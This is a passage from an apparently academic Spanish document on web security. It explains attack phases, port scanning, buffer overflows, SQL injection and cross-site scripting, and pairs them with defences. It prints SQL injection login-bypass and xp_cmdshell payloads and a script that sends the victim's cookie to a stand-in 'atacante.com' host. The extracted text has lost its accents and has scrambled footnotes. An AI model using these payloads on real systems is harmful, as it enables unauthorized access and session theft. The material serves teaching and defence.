La primera fase de todo ataque que se precie ser la reunin de informacin

sobre la mquina vctima, por parte del atacante. El atacante deber encontrar
respuesta a preguntas como: qu sistema operativo usa la mquina vctima? Qu
puertos tiene abiertos? Qu servicios tiene en ejecucin? Qu software es usado en
cada servicio? Qu versiones exactas? Podemos enumerar usuarios en la mquina
remota? Estas son slo algunas de las preguntas que se har el atacante.
Por qu estas preguntas? A menudo las vulnerabilidades que puedan existir
en el sistema vctima son dependientes del software servidor utilizado, e incluso
conexiones que puede recibir un puerto es finito, si inundamos el host destino con paquetes TCP de
tipo syn, probablemente se alcanzar el nmero mximo de conexiones permitidas, y el sistema
vctima comenzar a denegar cualquier nuevo intento de conexin, entre los cuales se encontraran
intentos de conexin totalmente legtimos, o lo que es lo mismo, nuestro ataque propiciar que
usuarios legtimos dejen de obtener servicio.
Pg. 14
especfico de ciertas versiones de dicho software. Por tanto, identificando estos

datos, podremos identificar tambin las posibles vulnerabilidades o puntos dbiles
del sistema vctima.
Durante la segunda fase, el atacante tratar de conseguir acceso a la mquina
vctima. Si el atacante lograra este acceso se dice que el sistema (vctima) ha sido
comprometido. El grado de compromiso es directamente proporcional a los
privilegios que el atacante haya podido conseguir en el sistema atacado. No importa
que el acceso conseguido sea no privilegiado. Nos valdr como punto de entrada al
sistema, a partir del cual podamos lanzar nuevos ataques, cuyo ltimo fin ser la
consecucin de mximos privilegios en el sistema.
Precisamente de esto ltimo se encarga la tercera fase del ataque: buscar (y
encontrar) alguna vulnerabilidad local que nos permita aumentar nuestros privilegios
hasta lograr el grado mximo. En ese momento, el sistema habr sido totalmente
comprometido.
Por ltimo, y cuando el atacante haya conseguido semejante proeza, ste
tratar de evitar la deteccin de su intrusin. Para ello, intentar borrar las huellas
que su ataque haya podido dejar en el sistema. Lo anterior supondr un conocimiento
exacto de la ubicacin de los ficheros de logs14 del sistema, y de su estructura.
Adems, y si el atacante tiene pensado volver a visitar la mquina vctima no ser
raro que se deje una puerta abierta que le facilite el proceso (de forma que no tenga
que repetir todo el ataque cada vez que desee entrar de nuevo en la mquina, o le
permita la entrada en caso de que la vulnerabilidad que ste us haya sido
parcheada). Es lo que se conoce como puerta trasera.
14
Un log es un historial donde el sistema almacena los eventos ms importantes que han ocurrido
en el sistema.
Pg. 15
2.2.3. Niveles de seguridad.

En una Internet hostil, plagada de gente con intereses tan dispares, cualquier
mquina conectada a la Red corre peligro. Si se trata de un servidor de una
importante
empresa,
que
puede
albergar
informacin
interesante
comprometedora, los intereses de un posible intruso son evidentes. Quizs no lo es

tanto, en el caso de un pequeo servidor, posiblemente casero, el cual alberga unas
cuantas pginas web personales. Hasta estos ltimos pueden tener un inters para un
hacker, aunque slo sea para ser usado como base para ataques posteriores contra
otras mquinas ms interesantes y apetecibles. Resulta lgico pensar que las
necesidades en cuanto a seguridad son bien distintas segn qu casos, siempre en
funcin de la importancia que se le de a la informacin que se trata de proteger (o lo
que es lo mismo, de los presupuestos o la cantidad econmica que se est dispuesto a
invertir en seguridad). Sin embargo, las tcnicas empleadas para proteger una u otra
mquina son, a menudo, similares (al menos, la gran mayora).
El concepto de niveles de seguridad es muy simple: se trata de ofrecer a un
posible atacante tantas barreras como nos sea posible (o mejor dicho, como nuestro
presupuesto nos lo permita). Cuantos ms obstculos pongamos a un atacante, menos
probabilidad habr de que ste tenga xito (aunque nunca debemos subestimar a un
hacker).
As pues, un primer nivel de seguridad suele comprender la instalacin de un
firewall15 en el permetro16 de la red que se quiere proteger. El firewall ms
utilizado es aquel que realiza un filtrado de paquetes17. Es comn usar un
15
Firewall: cortafuegos. Se trata de un equipo, enrutador o aplicacin, que impone un conjunto de

directivas de seguridad que restringen de forma severa el acceso al sistema y a los recursos de la red.
16
La zona perimetral es la ms externa de la red. Con frecuencia nos referiremos a la seguridad en
esta zona con el trmino seguridad perimetral.
17
Un firewall de filtrado de paquetes es aquel que se implementa en la red y en las capas de transporte
que filtran el trfico de red en funcin de los paquetes, tomando decisiones de enrutamiento basndose
en la informacin del encabezado del paquete IP.
Pg. 16
esquema DMZ18 en el permetro de la red, para aislar las mquinas que dan servicio
de cara al pblico (por ejemplo, el servidor web de la empresa), de la red corporativa
interna, lo cual aadira un nivel ms de proteccin a nuestro esquema general de
seguridad.
Sin embargo, a la hora de evitar un ataque a un servicio web, tpicamente en el
puerto 80, un simple filtrado de paquetes va a valer de poco, ya que no filtrar el
trfico web y es precisamente este trfico el que el atacante va a utilizar para llevar a
cabo su ataque. Claramente, es necesaria una nueva lnea de defensa situada en el
propio servidor web. El servidor web debera estar correctamente parcheado contra
vulnerabilidades conocidas y configurado adecuadamente con opciones que por
defecto sean seguras. Este procedimiento aadira un nivel de seguridad ms.
No es nuestra intencin hacer un compendio de tcnicas que se suelen emplear
en seguridad. Simplemente pretendamos mostrar al lector la utilidad e importancia
de mantener distintos niveles de seguridad, y las ventajas que conlleva.
2.2.4. La poltica de seguridad.

Podramos definir este concepto como el conjunto de normas y procedimientos, relacionados con diversos aspectos de la seguridad, que definen las
diferentes formas de actuacin recomendadas, con el fin de garantizar un cierto grado
de seguridad. En realidad, es la forma de implementar un cierto control de calidad en
lo que a seguridad se refiere.
Una buena poltica de seguridad debe incluir una poltica de contraseas
adecuada, que obligue a los usuarios a no usar contraseas dbiles, o a cambiar su
contrasea cada cierto tiempo. Esto es slo un ejemplo mnimo de lo que la poltica
18
DMZ: zona desmilitarizada (demilitarized zone). Permetro de red que contiene mquinas que
atienden servicios pblicos, separadas de la red privada local. Los servidores pblicos menos seguros
estn aislados de la LAN privada.
Pg. 17
de seguridad puede significar o suponer pero creemos que es suficiente para ilustrar
el concepto.
2.2.5. Adquisicin de informacin.

Toda informacin que un atacante pueda conseguir sobre su objetivo o vctima
le podr ser de utilidad para un posterior ataque. En especial, conocer la versin del
sistema operativo que se ejecuta en la mquina objetivo, o los servicios que sta
corre, es esencial para explotar con xito la mayora de fallos de seguridad, ya que
muchos de ellos slo estn presentes en determinados servicios y/o en determinadas
versiones de software.
Para detectar remotamente los servicios que una mquina ofrece, el atacante
llevar a cabo un scan de puertos. ste consiste en enviar ciertos paquetes de
prueba a los distintos puertos de la mquina vctima. Dependiendo de si el puerto
est abierto o cerrado, la respuesta que dar el servidor ser diferente, pudiendo as
deducir el estado del mismo. El tipo de paquetes que se enven a la vctima
depender del tipo de escaneo19 realizado.
Hay diversos tipos de scan. Para empezar, debemos distinguir si los puertos
destino sern TCP o bien UDP. En el caso de TCP, el scan ms sencillo consiste en
intentar establecer conexiones TCP20 con cada uno de los puertos de la mquina
objetivo. Si alguna de las conexiones tiene xito, quiere decir que el puerto
19
Escaneo: en ingls, scan.

Una conexin TCP se establece en 3 etapas (3-way handshaking): en primer lugar, la mquina
origen enva un paquete con el flag SYN activado, hacia un puerto dado en la mquina destino; sta lo
recibe y si realmente acepta conexiones en dicho puerto, responde a su vez con un segundo paquete
que llevar activados los flags SYN y ACK. Por ltimo, la mquina origen recibe el paquete anterior,
y enva un paquete ACK de acuse de recibo final. En este momento, la conexin TCP ha sido
establecida. Si la mquina destino no esperaba la conexin (i.e. no tena el puerto en cuestin a la
escucha), sta responder con un paquete RST, en lugar del paquete SYN-ACK. Los flags de los que
estamos hablando (SYN, ACK, RST y otros que no hemos visto) son bits del campo cdigo en el
encabezado TCP a su vez dentro del paquete IP-, y por simplicidad, nos referiremos a ellos como
flags TCP.
20
Pg. 18
correspondiente se encontraba abierto; en caso contrario, se considera cerrado. En el

primer caso, es adems posible que el software servidor a la escucha en dicho puerto
devuelva un mensaje (banner) con el nombre del software y la versin del mismo.
El scan TCP anterior resulta muy ruidoso de cara al administrador de la
mquina vctima (es fcilmente detectable porque las conexiones establecidas
quedarn registradas). Existe otro tipo de scan TCP ms avanzado, conocido como
Stealth TCP scan. Se realiza de forma muy parecida al anterior, es decir, barriendo
los puertos destino, e intentando establecer conexiones TCP, pero en este caso, la
conexin TCP se deja a medias, es decir, no se llega a completar el proceso de 3
etapas del establecimiento de conexin. En particular, el origen no enviar el tercer y
ltimo acuse de recibo (paquete ACK), con lo cual la conexin nunca se llega
realmente a establecer, y por tanto, el servidor vctima no lo registra. Para saber si un
puerto estaba o no abierto basta con observar el segundo paquete (es decir, la
respuesta del servidor vctima al primer paquete SYN): si es un SYN-ACK quiere
decir que el puerto estaba abierto; si es un RST, el puerto estaba cerrado.
Existen otras tcnicas de scan TCP ms avanzadas pero el fundamento es el
mismo o parecido: todas se basan en jugar con distintos flags TCP, y en el hecho de
que la pila TCP/IP21 destino responder de distinta forma, segn el estado de los
distintos puertos sondeados. Dicho comportamiento depender adems de la
implementacin de la propia pila TCP/IP, por lo que algunas de estas tcnicas
avanzadas slo funcionarn en ciertos sistemas operativos. Un ejemplo de scan
avanzado es el conocido como FIN scan22. No entraremos en detalles. Se
recomienda echar un vistazo a la documentacin de Nmap23, para aprender ms
acerca de estas tcnicas.
21
Cuando nos referimos a la pila TCP/IP, estamos haciendo alusin a la parte del sistema operativo
que se encarga de gestionar el trfico TCP/IP del sistema. Es decir, se trata de un software ms, y ser
diferente segn sea el sistema operativo empleado.
22
FIN es uno de los flags TCP que nos faltaba por nombrar.
23
Nmap es una herramienta utilizada para realizar escaneos de puertos. Haremos referencia a ella al
final de este captulo, en la seccin de herramientas tiles.
Pg. 19
El protocolo UDP no es orientado a conexin, por lo cual no existe un proceso

de establecimiento de conexin, como el que acabamos de estudiar. Sin embargo, se
puede analizar el estado de los puertos UDP de una mquina mediante tcnicas
similares. Una forma posible es enviar un paquete UDP de longitud nula al puerto
que se quiere sondear. Si el puerto est cerrado, la mquina vctima responder con
un mensaje ICMP de puerto inalcanzable. Si est abierto, no har nada. La tcnica
no es del todo fiable: si la vctima est protegida por un firewall que filtre estos
mensajes ICMP, el resultado que devolver nuestro test ser siempre positivo
(puerto abierto), aunque esto pueda no ser cierto (en este caso, se tratara de un
falso positivo).
Como hemos visto, analizando la respuesta a ciertos paquetes IP, es posible
obtener informacin y conocer ms sobre la mquina objetivo. Todo el conjunto de
tcnicas que usan esta metodologa as como el concepto en s se engloban bajo el
trmino genrico de fingerprinting. Mediante este tipo de tcnicas es posible
averiguar el sistema operativo (y a veces tambin la versin del mismo) que se
ejecuta en el ordenador objetivo as como otros datos de inters (como el uptime24
de la mquina).
Tampoco debemos perder de vista otra clase de informacin menos tcnicaque tambin puede ser de utilidad en un ataque. Datos como el nombre de la empresa
propietaria de la mquina objetivo y su direccin, o el nombre y telfono de contacto
de la persona encargada de su mantenimiento pueden ser utilizados en un ataque de
ingeniera social. Este tipo de ataques aprovechan el factor humano: por ejemplo,
llamar a la persona de contacto, hacindose pasar por su jefe, y ordenarle que de de
alta una nueva cuenta en la mquina. Sorprendentemente, estas actuaciones tienen un
gran porcentaje de xito y han sido usadas para derrotar los sistemas de proteccin
tecnolgicamente ms avanzados.
24
Uptime: tiempo que una mquina lleva encendida, sin ningn tipo de corte o interrupcin.
Pg. 20
Para obtener la informacin anterior puede bastar con que el atacante consulte
la pgina web corporativa de la empresa (seccin de contactos, por ejemplo). Por
nombrar una alternativa, existen tambin bases de datos pblicas o servidores
Whois, de donde es posible obtener informacin administrativa acerca de una
direccin IP o de un nombre de dominio dado.
2.2.6. Tcnicas de explotacin ms comunes: los buffer overflow.

El desbordamiento de buffer (o buffer overflow) es uno de los fallos
genricos de seguridad ms tpicos de los ltimos tiempos. Por ello, dedicaremos este
apartado a dar unas pinceladas sobre su funcionamiento.
A finales de 1996, un hacker conocido por el pseudnimo de Aleph1
public en una conocida revista digital del Underground25 (Phrack) un interesante
artculo titulado Smashing the stack for fun and profit26. En l relataba, paso a
paso, los fundamentos de los buffer overflow, as como diferentes tcnicas para
explotarlos. A raz de este artculo, el conocimiento y posterior explotacin de los
buffer overflow creci enormemente.
Un desbordamiento de buffer se produce cuando se intenta escribir en el
buffer ms datos de los que realmente caben en l. Puesto que el buffer no ser ms
que una simple estructura en memoria, si escribimos datos ms all de sus fronteras,
estaremos sobreescribiendo posiciones adyacentes de memoria, o lo que es lo mismo,
machacaremos otras estructuras que se pudieran encontrar cerca del buffer en
cuestin.
25
La Comunidad Underground (o under, a secas) es aquella integrada por hackers independientes,

desligada de cualquier empresa o inters comercial.
26
Literalmente: machacando la pila por diversin y en nuestro provecho.
Pg. 21
Lo interesante es cmo aprovechar lo anterior para conseguir ejecutar cdigo

arbitrario en la mquina. Para ello, debemos situarnos primero y ofrecer una primera
explicacin del concepto de la pila.
La pila es una gran estructura de datos, contiene informacin en memoria.
Podemos ver esa informacin dividida en elementos de informacin, de forma que la
pila crece cuando aadimos un nuevo elemento, y decrece cuando lo extraemos. La
propiedad fundamental de la pila es que los elementos introducidos se van apilando
(uno encima de otro), y slo podemos extraer el elemento que se encuentra ms
arriba, que fue el ltimo en ser introducido. Esta propiedad se conoce como LIFO
("last in, first out" -el ltimo en entrar, el primero en salir-).
En C, los programas hacen uso de la pila para almacenar todo tipo de datos:
desde variables locales de una funcin hasta los parmetros pasados a la misma en la
llamada a dicha funcin, entre otras. De esta forma, si un programa contiene una
funcin, que hace uso de una variable (no esttica) de tipo buffer, dicho buffer ser
guardado en la pila. Veamos un ejemplo.
Supongamos el siguiente programa en C en el que tenemos una funcin que
hace uso de N variables locales, recibe M parmetros y devuelve un valor:
int funcion(param1, param2, ..., paramN) {
[variable1]
[variable2]
...
[variableN]
[cdigo]
}
void main() {
int mainvar;
...
mainvar = funcion (param1, param2, ..., paramM);
...
}
Pg. 22
Si sacramos una instantnea de la pila justo en el momento en que se va a

empezar a ejecutar [cdigo] tendramos:
(low mem / stack top)
[variableN]
[variable2]
[variable1]
[ebp]
[ret]
[param1]
[param2]
[paramM]
(hi mem / stack bottom)
Esto es as porque la pila en arquitecturas i386 crece hacia abajo en

memoria, es decir lo alto (top) de la pila se encuentra en la posicin ms baja de
memoria, mientras que lo bajo (bottom) de la pila ocupa las direcciones altas de
memoria.
El funcionamiento es el siguiente: al hacer la llamada a la funcin desde el
programa principal los distintos parmetros que se quieren pasar a la funcin son
insertados en la pila, en orden inverso (es decir, primero se inserta el ltimo
parmetro, luego el penltimo, y as hasta llegar al primero). Se hace as para que
luego al extraerlos se pueda obtener en primer lugar el primero de ellos, luego el
segundo, etc.
Luego se pasa el control a la funcin en s, pero antes se inserta en la pila la
direccin de retorno (ret), para que cuando la funcin finalice su ejecucin sepa
volver al punto exacto donde sta fue llamada. Seguidamente, se ejecuta una rutina
llamada prlogo, donde se realizan tareas preparatorias a la ejecucin de la funcin
Pg. 23
en s. Entre esas tareas est la de guardar el valor del registro %ebp, que contiene el
puntero de marco de pila (no entraremos en detalles), y la de reservar espacio para
las variables locales que usar ms adelante la funcin (entre las que se encuentra
nuestro buffer, que va a ser variable1). Finalmente, se pasa el control al [cdigo]
de la funcin.
El sentido de todo esto es que cuando la funcin se de por finalizada, se habr
de realizar el proceso inverso, lo que implicar la ejecucin de otra rutina llamada
eplogo, para liberar la memoria de pila reservada para las variables y recuperar el
valor de %ebp, y finalmente se saltar a la direccin de cdigo dado por el puntero
ret, con lo que volveremos al punto de partida inicial.
Cmo podemos aprovechar un buffer overflow en la variable1? Es muy
fcil. Simplemente tendremos que escribir en variable1 datos de ms, de forma que
alteremos los elementos adyacentes (que son, [ebp] en primer lugar, y finalmente,
[ret]). Modificando el valor de la direccin de retorno, dado en [ret], conseguiremos
alterar el flujo de ejecucin, ya que saltaremos a la direccin que nosotros queramos.
Pero, a qu direccin saltar?
Lo habitual es colocar el cdigo que queremos que sea ejecutado por el
programa vulnerable (normalmente ser cdigo que ejecuta una shell), en el propio
buffer, y luego sobreescribir [ret] con la direccin del propio buffer. De esta forma
tan inteligente, conseguimos que el programa vulnerable ejecuta cdigo arbitrario (de
nuestra eleccin) en el sistema. Y algo tambin importante: dicho cdigo ser
ejecutado con los privilegios del programa vulnerable. Si este programa corre como
root (en Unix) o System / Administrador (en entornos Windows), podremos
ejecutar cdigo privilegiado, y tener acceso a cualquier parte del sistema.
En realidad, todo lo que se ha explicado corresponde a un tipo muy particular
de buffer overflow (por otro lado, los ms tpicos), que son los conocidos como
Pg. 24
stack-based buffer overflow o simplemente, stack overflow (desbordamiento de

pila). Existen otras tcnicas parecidas ms avanzadas-, que explotan otros
elementos en memoria, pero no las abordaremos.
De la explicacin anterior, se deriva el hecho de que la zona de memoria
correspondiente a la pila debe estar marcada como ejecutable, para que la tcnica
descrita tenga xito. De ah que una de las soluciones propuestas para abordar el
tema de los buffer overflow sea precisamente forzar a que la pila no sea ejecutable
(esta solucin viene en forma de parche para el kernel del sistema operativo).
Otra solucin es utilizar un compilador inteligente, que tenga en cuenta la
posibilidad de desbordamiento de buffer, y lo evite (la herramienta stackguard
entra dentro de esta categora).
Y desde luego, la mejor solucin es escribir cdigo seguro, no propenso a este
tipo de bugs (por ejemplo, comprobar siempre la longitud de los datos que
escribimos en un buffer, y asegurarnos de que no excedern el tamao mximo del
mismo). Es decir, se trata de un grave error de programacin, que todo programador
que se precie debera evitar cometer, a toda costa.
2.2.7. Contramedidas de seguridad.

Qu hacer si nuestro servidor web es comprometido? El administrador de
sistemas deber llevar a cabo las siguientes tareas:
1. Hacer una copia de seguridad de los datos importantes del servidor, sin
incluir ficheros ejecutables (podran haber sido troyanizados).
2. Llamar a un forense, si es que la mquina es vital para la empresa, y se
necesitar analizar a fondo cmo se llevo a cabo el ataque, cuando y por
Pg. 25
qu. Un anlisis forense resultar costoso, por lo que este paso en la

mayora de los casos se obviar.
3. Desconectar de la red, formatear la mquina y reinstalar el sistema,
usando para ello el CD-ROM de instalacin del Sistema Operativo, o
bien una copia de seguridad previa, si tenemos garantas de que esta
copia se tom antes del compromiso (en caso contrario, podra
contener backdoors).
4. Copiar de nuevo los datos crticos que se salvaron en el paso 1 (slo
ficheros de datos, nunca ejecutables).
5. Configurar, parchear y securizar el servidor, para asegurarnos de que
no se va a volver a producir otra intrusin (al menos no aprovechando
la misma vulnerabilidad usada para el compromiso anterior).
6. Conectar de nuevo el servidor a la red.
Este proceso es bastante costoso e implicar probablemente prdidas
econmicas derivadas del corte de servicio que se produce mientras la mquina est
en reparaciones. No habra sido mejor poner los medios necesarios para que el
compromiso no se hubiera producido?
Las siguientes medidas son buenos hbitos a seguir por un administrador de
sistemas preocupado por la seguridad de sus mquinas:
Tener el sistema siempre actualizado y parcheado contra los diferentes
bugs que se vayan descubriendo.
Utilizar una interfaz de red exclusivamente dedicada a administracin,
y distinta de la interfaz de red que dar servicio a los usuarios.
Cerrar todos los puertos que realmente no son necesarios. En el caso
de un servidor web, probablemente slo haga falta dejar abierto el
puerto 80 (y quizs tambin el 443) del interfaz que da servicio. En el
Pg. 26
interfaz de administracin probablemente bastar con abrir el puerto

22 (SSH).
Asegurarse de que el trfico ms crtico (en especial, el de administracin) siempre va encriptado. En particular, ninguna contrasea de
acceso al servidor debera ir en claro por la red.
Utilizar una herramienta como Tripwire, para obtener las firmas
digitales de los ficheros ms peligrosos, en especial, de todos los
ficheros binarios. Guardar el fichero de firmas obtenido en un lugar
seguro (nunca en el propio servidor).
Definir y cumplir a rajatabla una poltica de seguridad, en especial, en
cuanto a las contraseas y a acceso se refiere.
3. Ataques comunes en la WWW.
3.1. Inyeccin de sentencias SQL.

3.1.1. Fundamento.
Esta tcnica, tambin conocida como SQL inject, se encuentra ampliamente
difundida y sorprendentemente no es difcil encontrar en la actualidad sitios web
afectados por esta vulnerabilidad, principalmente aquellos basados en tecnologas
ASP y JSP. Las aplicaciones en PHP no suelen ser vulnerables, en configuraciones
por defecto del motor PHP, como ms adelante explicaremos.
Supongamos un sistema de autentificacin de una aplicacin web, que hace
uso de una base de datos. El sistema nos pide un usuario y contrasea, y la valida
haciendo uso de la base de datos. Por ejemplo:
Pg. 27
Login: roman
Password: 12345
Para llevar a cabo la validacin, la aplicacin construye internamente una

sentencia SQL tal como la siguiente:
SELECT * FROM database WHERE Login='$login' AND Password='$Password';
Que se transformar en:

SELECT * FROM database WHERE Login='roman' AND Password='12345';
Si la base de datos devuelve alguna entrada quiere decir que exista un usuario
con dicha contrasea, y el proceso de autentificacin ha sido correcto.
Ahora bien, qu habra ocurrido si hubiramos rellenado el campo de usuario
o el de la contrasea (o ambos) con caracteres inesperados? Situmosnos en el lado
del atacante y veamos cmo procedera ste:
Login: roman
Password: ' or ''='
La sentencia SQL resultante sera:

SELECT * FROM database WHERE Login='roman' AND Password='' or ''='';
Puesto que la ltima clusula de la sentencia siempre es cierta (hay dos

trminos iguales a ambos lados de una igualdad), la sentencia anterior se podra
simplificar quedando como:
SELECT * FROM database WHERE Login='roman';
Pg. 28
O lo que es lo mismo, habramos conseguido que la aplicacin no hiciera

comprobacin de contrasea alguna!
La tcnica de inyeccin de SQL consiste en esto que acabamos de demostrar:
conseguir modificar una sentencia SQL mediante la insercin de caracteres
especiales como las comillas dobles o simples.
Utilizando la tcnica propuesta, un atacante experimentado puede lograr
modificar el contenido de la base de datos, o incluso ejecutar cdigo en la mquina
remota (haciendo uso de comandos especiales de SQL que permiten ejecutar
comandos de sistema). En general, podr llevar a cabo cualquier accin que SQL
permita, con los permisos del usuario bajo el cual se est ejecutando la aplicacin
web.
Aunque el lenguaje SQL es estndar, muchas de las funcionalidades que ste
provee slo funcionan en algunos servidores de bases de datos (MySQL, Microsoft
SQL Server, Oracle, Microsoft Access con el driver ODBC, tc.); si a eso unimos el
hecho de que no conocemos de antemano cierta informacin (como la estructura
interna de la base de datos), y que adems, tambin es posible que la aplicacin web
no nos devuelva los mensajes de error de SQL (en este caso el atacante tendra que
trabajar a ciegas), resulta que en muchos casos ser difcil explotar esta
vulnerabilidad con xito. Pero no tenga la menor duda de que si se puede hacer,
alguien lo conseguir.
Pg. 29
3.1.2. Algunos ejemplos de explotacin.

No es nuestra intencin ensear todos los trucos para explotar dicha tcnica.
No obstante, intentaremos saciar parcialmente la posible sed de conocimientos del
lector27. Para los ms curiosos, he aqu algunas ideas:
I. Uso de comentarios (cadenas comprendidas entre /* y */).

Login: '/*
Password: */ or ''='
SELECT * FROM database WHERE Login=''/* AND Password=*/ or ''='';
Que se simplifica como:

SELECT * FROM database WHERE Login='' or ''='';
El equivalente final es:

SELECT * FROM database;
II. Ms comentarios: --28 (vlido en Microsoft SQL Server).

Login: ' or 1=1-Password: xxxx
SELECT * FROM database WHERE Login='' or 1=1-- AND Password=xxxx;
27
En el apartado de bibliografa de este Proyecto se hace referencia a white-papers muy interesantes

sobre SQL Injecting. Recomendamos su lectura para obtener nuevas ideas sobre la explotacin de
este tipo de vulnerabilidades.
28
El uso de -- implica que todo lo que vaya a continuacin de estos caracteres ser ignorado.
Pg. 30
Que equivale a:
SELECT * FROM database WHERE Login='' or 1=1;
Para servidores MySQL podemos usar el caracter # en lugar de --.
III. Ejecucin de comandos de forma remota en Microsoft SQL Server.

Login: '; exec master..xp_cmdshell 'ping 192.168.4.22'-Password: xxxx
Con el ; se terminar la sentencia SQL original, para dar lugar a la nueva

que comienza con exec. Con los -- escapamos los restos espreos de la
primera sentencia, que quedaban por aadir.
IV. Escritura de la salida SQL en un fichero remoto (MS SQL Server).

Login: '; EXEC master..sp_makewebtask
"\\192.168.4.22\share\output.html", "SELECT * FROM
INFORMATION_SCHEMA.TABLES"
Password: xxxx
El host destino (en este caso, 192.168.4.22) debe tener la carpeta share
compartida con permisos para todos.
Ntese que la tabla de sistema INFORMATION_SCHEMA.TABLES
contiene informacin de todas las tablas albergadas en el servidor MS SQL
Server.
Pg. 31
3.1.3. Solucin.
La nica forma fiable para evitar la inyeccin de sentencias SQL es un
correcto parseo29 de la entrada de usuario. Quiere decir esto que la Aplicacin debe
tener cuidado con los datos que recibe a travs de variables, mediante peticiones
GET, POST o incluso Cookies. Ser su obligacin filtrarlas adecuadamente, para
eliminar cualquier posible carcter malicioso (como las comillas) que un atacante
pudiera insertar.
Este filtrado se puede realizar de diversas formas, dependiendo del grado de
seguridad que deseemos y del lenguaje de programacin empleado.
La solucin ms segura tiene en cuenta la naturaleza de la variable protegida.
Consiste en filtrar todos los caracteres posibles, con la nica de excepcin de
aquellos que no consideramos perniciosos. Por ejemplo, si la variable a filtrar es de
naturaleza numrica (como podra ser un identificador numrico), el filtro eliminara
cualquier carcter que no sea una cifra (0, 1, , 9). Si la variable es
alfanumrica, se eliminaran todos los caracteres, a excepcin de los alfanumricos30.
La alternativa menos segura- es que el filtro actuara buscando ciertos
caracteres considerados malignos, dejando tal cual los restantes. Pero este mtodo
presenta el inconveniente de que es posible que nos olvidemos de filtrar alguno de
los caracteres perniciosos, o bien, en un futuro se descubra que alguno de los
caracteres que se consideraban inocuos (y por tanto, no eran filtrados) no son tales.
Qu hacer si por ejemplo se desea que una variable pueda contener comillas
simples legalmente? En este caso, el filtro estropeara un valor de la variable que
debera ser legal, al eliminar las comillas. Bien, lo que se har realmente no es filtrar
los caracteres peligrosos sino escaparlos, es decir, anteponerle un carcter especial,
29
30
Del verbo anglosajn parse, que se puede traducir como analizar sintcticamente.
Normalmente comprendidos entre A-Z, a-z, 0-9.
Pg. 32
que normalmente es la barra invertida (\)31, y cuya funcin es eliminar cualquier

significado o funcionalidad especial que pudiera tener el carcter que le sucede.
Como dijimos, la forma de implementar estos filtros es variada. Para la
primera solucin se suele hacer uso de expresiones regulares. La segunda tambin se
puede implementar de forma anloga, aunque tambin es comn usar comandos o
funciones especiales que proveen algunos lenguajes. En el captulo 4, podr observar
algunas de estas implementaciones basadas en el lenguaje PHP.
Como medida adicional, es buena tctica limitar los privilegios con los que la
Aplicacin accede al servidor de bases de datos. As en caso de que un atacante
encuentre una vulnerabilidad por la cual consiguiera inyectar sentencias SQL, el
mbito de explotacin se encontrara limitado por los privilegios y restricciones
impuestas desde la propia Aplicacin. De igual forma, es conveniente deshabilitar en
el servidor de bases de datos toda funcionalidad que no vaya a ser utilizada de forma
legtima, en especial, funciones externas tan peligrosas como master..xp_cmdshell
o master..sp_makewebtask de MS SQL Server. Estas medidas no evitan la
vulnerabilidad en s, pero reducen las posibilidades de explotacin de la misma.
Por ltimo, despejaremos la duda que dejamos planteada al comienzo de este
apartado. Por qu es ms fcil encontrar aplicaciones vulnerables en ASP o JSP, que
en PHP? La respuesta es simple: PHP contiene una opcin llamada magic_quotes,
que viene activada por defecto (en el archivo de configuracin php.ini), y cuya
funcin es precisamente escapar caracteres peligrosos como las comillas, de
cualquier variable de entrada de usuario. As pues, establece una proteccin
transparente contra el problema de la inyeccin SQL32, que puede evitar que una
Aplicacin mal programada sea vulnerable. En todo caso, esta proteccin debera
verse como una barrera ms, y no como la nica; esto es, los programadores de
31
Este carcter ser conocido como carcter de escape.

Sin embargo, los desarrolladores del lenguaje PHP recomiendan deshabilitar esta opcin para ganar
en rendimiento.
32
Pg. 33
aplicaciones de PHP deberan ser conscientes del problema de la inyeccin de SQL e

implementar cdigo seguro, que no sea vulnerable incluso en el caso de encontrarse
la opcin magic_quotes deshabilitada.
3.2. Cross Site Scripting (XSS33).
3.2.1. Fundamentos.
Este tipo de vulnerabilidades aparece en Aplicaciones donde se maneja
contenido web dinmico. La forma de explotarlas es muy variada. El denominador
comn es la inclusin de cdigo malicioso, como parte del contenido web de la
pgina vulnerable. El navegador de la vctima descargar, sin que sta pueda darse
cuenta, dicho cdigo y lo ejecutar de forma local. El objetivo de este cdigo
malicioso es, en muchos casos, el robo de cookies (las cuales a menudo contienen
informacin importante como el identificador de sesin del usuario vctima, o
incluso la contrasea del mismo), lo cual podra servir al atacante para secuestrar
una sesin de usuario34. Tambin se le puede dar otra utilidad, quizs ms peligrosa,
como es la explotacin de una vulnerabilidad local en la mquina vctima
(tpicamente un fallo en el navegador). La principal limitacin llegado a este punto es
la propia creatividad del atacante. Por ejemplo, la empresa de seguridad espaola
NGSec ha demostrado recientemente cmo la combinacin de un fallo XSS con una
vulnerabilidad local (en concreto, un fallo en un CGI), en el servidor web iPlanet,
resulta en una vulnerabilidad que puede ser explotada remotamente.
33
En un principio se adoptaron las siglas CSS para referirse a las vulnerabilidades de tipo Cross
Site Scripting. Ms adelante, y para evitar la ambigedad (CSS tambin es el acrnimo de
Cascading Style Sheets), se adopt el trmino XSS actual.
34
Es lo que se conoce como session hijacking.
Pg. 34
A menudo, por desconocimiento, la gente menosprecia este tipo de bugs35.

Sin embargo, se han encontrado fallos XSS en aplicaciones tan conocidas como
PHP-Nuke (ampliamente utilizado en el desarrollo de portales web) o el mismsimo
correo web de Hotmail.
Para explicar la metodologa de un ataque de tipo XSS, imaginemos un
servicio web que implementa un foro de usuarios. Cada usuario se autentifica en el
servicio mediante su nombre de usuario y contrasea, lo que le da derecho a
participar en el foro, leyendo y/o enviando mensajes al mismo. Supongamos adems
que el foro no est bien implementado y es vulnerable a un fallo de XSS por el cual
un usuario puede insertar un mensaje en el foro que contenga cdigo HTML o
JavaScript.
El atacante inserta un nuevo mensaje en el foro: Hola, <b>esto es una
prueba</b>. Ahora otro usuario (la vctima) lee el mensaje. El navegador de la
vctima interpreta los smbolos <b> y </b> como etiquetas HTML, y mostrar el
siguiente mensaje: Hola, esto es una prueba. Obsrvese la negrita: el navegador
ha interpretado el cdigo HTML que hemos insertado!
El atacante da un paso ms hacia delante, enviando un nuevo mensaje:
<script>alert(Boooom);</script>. La vctima lo abre y su navegador ejecuta el
cdigo JavaScript que el atacante insert: le aparecer una ventana de dilogo con el
mensaje Boooom. La victima ejecutar cualquier cdigo suministrado por el
atacante! El problema resulta evidente.
Veamos un ejemplo de robo de cookie. El atacante incluye en un mensaje:
<script>document.location='http://atacante.com/cgi-bin/logger.cgi?
'%20+document.cookie</script>
35
Un bug es un fallo, en la terminologa computacional.
Pg. 35
Cuando la vctima lea el mensaje, el navegador de sta ser redirigido a la

pgina anterior, enviando la cookie de la pgina en la que sta originariamente se
